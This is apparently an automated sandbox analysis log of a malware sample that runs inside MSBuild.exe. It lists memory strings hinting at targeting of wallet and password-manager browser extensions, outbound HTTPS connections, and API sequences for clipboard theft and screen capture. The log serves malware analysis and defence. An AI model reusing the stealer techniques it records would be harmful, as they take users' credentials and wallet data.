Source: MSBuild.exe, 0000000C.00000002.1503500018.0000000001436000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: MSBuild.exe, 00000001.00000002.1823545915.00000000275C2000.00000004.00000020.00020000.00000000.sdmp, KFIDBAFHCAKFBGCBFHIJ.1.dr	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: JKJDAEBFCBKECBGDBFCFBKKKFH.1.dr	String found in binary or memory: https://www.mozilla.org
Source: MSBuild.exe, 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: JKJDAEBFCBKECBGDBFCFBKKKFH.1.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: MSBuild.exe, 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: JKJDAEBFCBKECBGDBFCFBKKKFH.1.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: MSBuild.exe, 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: MSBuild.exe, 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBM
Source: JKJDAEBFCBKECBGDBFCFBKKKFH.1.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: MSBuild.exe, 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
Source: JKJDAEBFCBKECBGDBFCFBKKKFH.1.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: MSBuild.exe, 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: JKJDAEBFCBKECBGDBFCFBKKKFH.1.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: MSBuild.exe, 0000000C.00000002.1503573625.0000000001472000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: MSBuild.exe, 0000000C.00000002.1503500018.0000000001436000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443

Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.7:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.7:49806 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 12_2_00438720 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

12_2_00438720

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 12_2_00438720 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

12_2_00438720

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00419010 CreateStreamOnHGlobal,GetDesktopWindow,GetWindowRect,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GetHGlobalFromStream,GlobalLock,GlobalSize,SelectObject,DeleteObject,DeleteObject,ReleaseDC,CloseWindow,

1_2_00419010

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C54B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	1_2_6C54B700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C54B8C0 rand_s,NtQueryVirtualMemory,	1_2_6C54B8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C54B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	1_2_6C54B910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4EF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	1_2_6C4EF280

Source: C:\Users\user\Desktop\FdjDPFGTZS.exe	Code function: 0_2_00E22021	0_2_00E22021
Source: C:\Users\user\Desktop\FdjDPFGTZS.exe	Code function: 0_2_00E2729C	0_2_00E2729C
Source: C:\Users\user\Desktop\FdjDPFGTZS.exe	Code function: 0_2_00E3D39B	0_2_00E3D39B
Source: C:\Users\user\Desktop\FdjDPFGTZS.exe	Code function: 0_2_00E3572C	0_2_00E3572C
Source: C:\Users\user\Desktop\FdjDPFGTZS.exe	Code function: 0_2_00E2CAF2	0_2_00E2CAF2
Source: C:\Users\user\Desktop\FdjDPFGTZS.exe	Code function: 0_2_00E3BB36	0_2_00E3BB36
Source: C:\Users\user\Desktop\FdjDPFGTZS.exe	Code function: 0_2_00E33C92	0_2_00E33C92
Source: C:\Users\user\Desktop\FdjDPFGTZS.exe	Code function: 0_2_00E21D79	0_2_00E21D79
Source: C:\Users\user\Desktop\FdjDPFGTZS.exe	Code function: 0_2_00E2FEF0	0_2_00E2FEF0
Source: C:\Users\user\Desktop\FdjDPFGTZS.exe	Code function: 0_2_00E70F98	0_2_00E70F98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4E35A0	1_2_6C4E35A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C55545C	1_2_6C55545C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4F5440	1_2_6C4F5440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C525C10	1_2_6C525C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C532C10	1_2_6C532C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C55AC00	1_2_6C55AC00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C55542B	1_2_6C55542B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C50D4D0	1_2_6C50D4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4F64C0	1_2_6C4F64C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C526CF0	1_2_6C526CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4ED4E0	1_2_6C4ED4E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4F6C80	1_2_6C4F6C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5434A0	1_2_6C5434A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C54C4A0	1_2_6C54C4A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C50ED10	1_2_6C50ED10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C510512	1_2_6C510512
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4FFD00	1_2_6C4FFD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C520DD0	1_2_6C520DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5485F0	1_2_6C5485F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C509E50	1_2_6C509E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C523E50	1_2_6C523E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C504640	1_2_6C504640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C532E4E	1_2_6C532E4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C556E63	1_2_6C556E63
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4EC670	1_2_6C4EC670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C527E10	1_2_6C527E10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C535600	1_2_6C535600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C549E30	1_2_6C549E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5576E3	1_2_6C5576E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4EBEF0	1_2_6C4EBEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4FFEF0	1_2_6C4FFEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C505E90	1_2_6C505E90
